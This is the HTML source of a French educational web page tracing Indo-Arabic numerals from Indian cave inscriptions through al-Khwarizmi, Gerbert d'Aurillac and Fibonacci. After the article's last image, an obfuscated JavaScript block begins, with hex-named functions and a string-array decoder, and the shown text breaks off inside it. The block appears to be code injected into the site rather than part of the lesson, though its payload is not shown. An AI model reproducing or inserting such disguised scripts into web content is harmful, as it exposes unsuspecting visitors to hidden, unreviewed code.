chiffres arabes \u00bb, viennent en r\u00e9alit\u00e9 des Indes. Leurs \u00ab\u00a0anc\u00eatres\u00a0\u00bb les plus anciens apparaissent dans des inscriptions des grottes de <em>Nana Gh\u00e2t<\/em> datant du 2e si\u00e8cle avant J.C.<\/p>\n<p>Au Veme si\u00e8cle de notre \u00e8re, en <strong>Inde<\/strong>, les savants ont l\u2019id\u00e9e ing\u00e9nieuse de marier le principe de position, les neuf symboles et <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/zero\">le z\u00e9ro <\/a>en tant que nombre \u00e0 part enti\u00e8re repr\u00e9sentant une quantit\u00e9 qui n\u2019existe pas. <br \/> Dans \u00ab 806 \u00bb, il n\u2019y a pas de dizaine, le \u00ab 0 \u00bb marque cette absence.<br \/> Outre que ce nouveau syst\u00e8me est tr\u00e8s commode pour les calculs, le changement est plus profond. Les math\u00e9maticiens indiens n&rsquo;ont plus \u00e0 passer par des probl\u00e8mes de g\u00e9om\u00e9trie pour justifier de l&rsquo;existence de nombres dans les calculs.<\/p>\n<p>\u00a0<\/p>\n<p> <center> <\/p>\n<table style=\"width: 100%; text-align: left;\" border=\"0\">\n<tbody>\n<tr>\n<td width=\"60%\">\n<p><span style=\"font-size: large;\">De l&rsquo;Inde \u00e0 l&rsquo;Occident<\/span><\/p>\n<p>Moins d\u2019un si\u00e8cle apr\u00e8s la mort du <em>Proph\u00e8te Mahomet<\/em>, en 632, les arabes s\u2019\u00e9tendent de l\u2019Inde \u00e0 l\u2019Espagne en passant par l\u2019Afrique du Nord.<br \/> Au VIII eme si\u00e8cle, Bagdad est un riche pole scientifique. A cette \u00e9poque, les arabes ne disposent pas d\u2019un syst\u00e8me de num\u00e9ration performant. Ils emprunteront celui des Indes.<br \/> Les chiffres indiens connaissent alors une double \u00e9volution graphique pour donner deux types de notation num\u00e9rique : une transcription orientale (<strong>\u00ab hindi \u00bb<\/strong>) pratiqu\u00e9e d\u00e8s le XII\u00e8me si\u00e8cle au Proche et Moyen Orient et une transcription occidentale (<strong>\u00ab ghubar \u00bb<\/strong>) connue dans les pays du Maghreb et qui passant par l\u2019Espagne musulmane arrivera jusqu\u2019\u00e0 nous.<br \/> C&rsquo;est le perse <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/mathematiciens-celebres\/al-khwarizmi\">Muhammad ibn Musa al-Khwarizmi <\/a>(790 ; 850) qui contribue \u00e0 la propagation du syst\u00e8me de num\u00e9ration indien par son <em>\u00ab\u00a0Livre de l&rsquo;addition et de la soustraction d&rsquo;apr\u00e8s le calcul des Indiens\u00a0\u00bb<\/em> et ses nombreuses traductions en latin.<br \/> Le moine <em>Gerbert d&rsquo;Aurillac<\/em> (945 ; 1003) qui deviendra pape en 999 sous le nom de Sylvestre II, est passionn\u00e9 par les math\u00e9matiques. Il r\u00e9dige deux trait\u00e9s, l&rsquo;un sur multiplication, l&rsquo;autre sur la division. Il initiera pour la premi\u00e8re fois l&rsquo;occident chr\u00e9tien aux chiffres \u00ab\u00a0indo-arabes\u00a0\u00bb mais il ne retient ni la num\u00e9ration de position ni le <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/nombres\/zero\">z\u00e9ro<\/a>. Il faut dire que l\u2019Europe de l\u2019\u00e9poque, fortement sous-d\u00e9velopp\u00e9e, n\u2019a pas vraiment besoin des chiffres arabes. Le monde occidental entre alors dans une p\u00e9riode de querelle qui opposera les <strong>abacistes<\/strong>, partisans du calcul sur l&rsquo;abaque romain qui suffit encore aux besoins du commerce et les <strong>algoristes<\/strong> qui adopteront la nouvelle num\u00e9ration de position.<br \/> Voil\u00e0 pourquoi nous trouvons encore les chiffres romains dans les vieux livres.<br \/> Il faudra attendre le XIII\u00e8me si\u00e8cle, avec le math\u00e9maticien italien <a href=\"http:\/\/www.maths-et-tiques.fr\/index.php\/histoire-des-maths\/mathematiciens-celebres\/fibonacci\"><em>L\u00e9onard de Pise<\/em>, dit <em>Fibonacci<\/em><\/a>, pour que le mouvement s\u2019acc\u00e9l\u00e8re.<\/p>\n<\/td>\n<td width=\"40%\"><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Maths-8215.jpg\" border=\"0\" \/><br \/><span style=\"font-size: small;\"><em>Margarita philosophica de G.Reisch, 1504<\/em><\/span><\/center><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <\/center><center><img decoding=\"async\" src=\"http:\/\/www.maths-et-tiques.fr\/images\/M_images\/Image-615.jpg\" border=\"0\" \/><\/center><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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